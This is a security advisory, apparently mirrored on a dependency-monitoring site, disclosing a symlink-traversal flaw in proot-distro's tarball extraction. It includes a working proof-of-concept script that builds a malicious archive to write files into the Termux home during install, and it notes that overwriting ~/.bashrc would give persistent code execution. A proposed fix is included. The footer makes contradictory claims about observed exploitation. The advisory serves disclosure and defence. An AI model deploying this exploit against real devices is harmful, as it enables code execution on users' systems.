Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-9xq3-3fqg-4vg7
No affected components available
Repository: termux/proot-distro
Component: proot_distro/commands/install.py → _extract_plain_tar(); also helpers/docker.py → _apply_layer()
Affected Versions
| Component | Version | |---------------|------------------------------| | proot-distro | 5.0.2 (confirmed vulnerable) | | Termux app | 0.119.0-beta.3 | | Device / ABI | Samsung Galaxy A23 / aarch64 | | Python (host) | 3.13 |
Vulnerability Description
proot-distro install extracts a plain tarball rootfs by calling _extract_plain_tar() in
proot_distro/commands/install.py. This function correctly rejects tar member names
containing .. components, but applies no equivalent check on symlink targets
(member.linkname). A tar archive can therefore:
- Plant a symlink inside the rootfs whose target is an absolute host path
(e.g.
/data/data/com.termux/files/home). - Write a subsequent regular-file member whose path traverses through that symlink name.
Python's open() follows the symlink, writing the file on the host filesystem at the
privilege level of the Termux process — entirely during proot-distro install, before the
container is ever run.
The same _extract_plain_tar function is reachable via proot-distro reset, and the
equivalent _apply_layer in helpers/docker.py contains the same flaw.
Vulnerable Code
proot_distro/commands/install.py, _extract_plain_tar():
elif member.issym():
# linkname taken verbatim from archive — no validation of target
os.symlink(member.linkname, dest) # ← symlink planted on host
elif member.isreg():
dest = os.path.join(rootfs_dir, rel_path)
with open(dest, 'wb') as out: # ← follows symlink above
...
The existing traversal guard only covers member names:
if any(p in ('..', '') for p in rel_parts):
continue # only checks the name, not the symlink target
There is no check on member.linkname. An absolute symlink target bypasses this guard
entirely.
| Check | Member name (rel_path) | Symlink target (member.linkname) |
|------------------------------------|:------------------------:|:----------------------------------:|
| Reject .. components | ✅ | ❌ |
| Confirm stays inside rootfs_dir | ❌ | ❌ |
Proof of Concept
Step 1 — Craft a malicious archive
# craft_evil_layer.py
import tarfile, io, hashlib
PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:
# Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home
sym = tarfile.TarInfo(name='escape')
sym.type = tarfile.SYMTYPE
sym.linkname = '/data/data/com.termux/files/home'
tf.addfile(sym)
# Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS
reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
reg.size = len(PAYLOAD)
tf.addfile(reg, io.BytesIO(PAYLOAD))
data = buf.getvalue()
with open('evil.tar.gz', 'wb') as f:
f.write(data)
print("Created evil.tar.gz")
print("sha256:", hashlib.sha256(data).hexdigest())
Step 2 — Install the archive
$ python craft_evil_layer.py
Created evil.tar.gz
sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57
$ proot-distro install ./evil.tar.gz
[*] Installing from 'evil.tar.gz' as 'evil'...
[*] Extracting rootfs from archive...
[*] Finished installation.
Step 3 — Verify proot-distro version
$ pkg show proot-distro | grep Version
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
Version: 5.0.2
Step 4 — Verify host write
$ cat ~/POC_SUCCESS
TERMUX_ESCAPE_SUCCESS
POC_SUCCESS was written directly into the host Termux $HOME during installation,
with no container login required.
Impact
- Arbitrary host file write at the full privilege of the Termux process, triggered solely
by
proot-distro install— no container interaction required. - A malicious
.tar.gz/.tar.xz/.tgzarchive delivered via a file download, CI artifact, or compromised mirror is sufficient to exploit this. - Practical payloads include overwriting
~/.bashrc,~/.profile,$PREFIX/etc/bash.bashrc, or any file in the Termux home/prefix, achieving persistent code execution the next time the user opens a shell. - Also reachable via
proot-distro resetif the malicious archive is reused, and via_apply_layerinhelpers/docker.py.
Root Cause
_extract_plain_tar validates member names against .. traversal but places no
restriction on symlink targets. The two vectors are treated asymmetrically:
| Check | Member name (rel_path) | Symlink target (member.linkname) |
|------------------------------------|:------------------------:|:----------------------------------:|
| Reject .. components | ✅ | ❌ |
| Confirm stays inside rootfs_dir | ❌ | ❌ |
The member-name check (any(p in ('..', '') for p in rel_parts)) is necessary but not
sufficient: a symlink with an absolute target bypasses it entirely.
Proposed Fix
Add a guard that rejects any symlink whose resolved target falls outside rootfs_dir.
Apply in both _extract_plain_tar and _apply_layer:
def _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -> bool:
"""Return True only if the symlink target resolves inside rootfs_dir."""
if os.path.isabs(linkname):
return False # absolute targets always escape on the host
resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname))
real_root = os.path.realpath(rootfs_dir)
real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved)
else os.path.normpath(resolved))
return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root
Then in _extract_plain_tar:
elif member.issym():
if not _is_safe_symlink(rootfs_dir, dest, member.linkname):
continue # drop unsafe symlink
if os.path.lexists(dest):
...
os.symlink(member.linkname, dest)
Apply the identical guard inside _apply_layer in helpers/docker.py.
Note: A stricter alternative — matching Docker's own behavior — is to rewrite absolute symlink targets to relative paths within the rootfs rather than dropping them, to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as
/usr/lib → /lib.
Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.
Maintainer: @sylirre — report via GitHub Security Advisory on the termux/proot-distro repository.
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard